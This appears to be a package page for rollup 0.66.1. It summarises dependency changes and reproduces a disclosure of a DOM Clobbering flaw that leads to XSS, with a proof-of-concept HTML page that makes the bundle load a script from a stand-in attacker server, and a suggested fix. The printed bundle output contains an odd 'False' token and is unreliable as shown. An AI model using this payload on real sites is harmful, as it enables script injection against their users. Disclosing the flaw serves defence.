Rollup, a next-generation ES module bundler, saw a minor version update from 0.66.0 to 0.66.1, offering subtle yet potentially impactful changes for developers. Both versions share the same core dependencies, including @types/node and @types/estree, ensuring type safety and compatibility with Node.js environments. The significant difference lies primarily in the updated development dependencies.
Notably, rollup itself is listed as a devDependency, updated from version 0.65.2 in 0.66.0 to version 0.66.0 in this release. This likely reflects internal testing and build process adjustments within the Rollup project itself. Furthermore, pretty-ms sees an update from 3.2.0 to version 4.0.0, potentially impacting the formatting of build times within the Rollup CLI. Another change is magic-string that increases from 0.25.0 to 0.25.1. Finally, rollup-plugin-commonjs is updated from version 9.1.6 to 9.1.8 and rollup-plugin-typescript2 is replaced by rollup-plugin-typescript moving from version 0.17.0 to 1.0.0.
While the core functionality remains consistent, developers should be mindful of these changes when upgrading. The updates to development dependencies might indirectly affect plugin compatibility or build output, though these effects are likely minimal. For most users, the upgrade should be seamless, but testing is always recommended to ensure compatibility with existing Rollup configurations. The update reflects ongoing refinement of the toolchain, aiming for improved stability and developer experience.
All the vulnerabilities related to the version 0.66.1 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;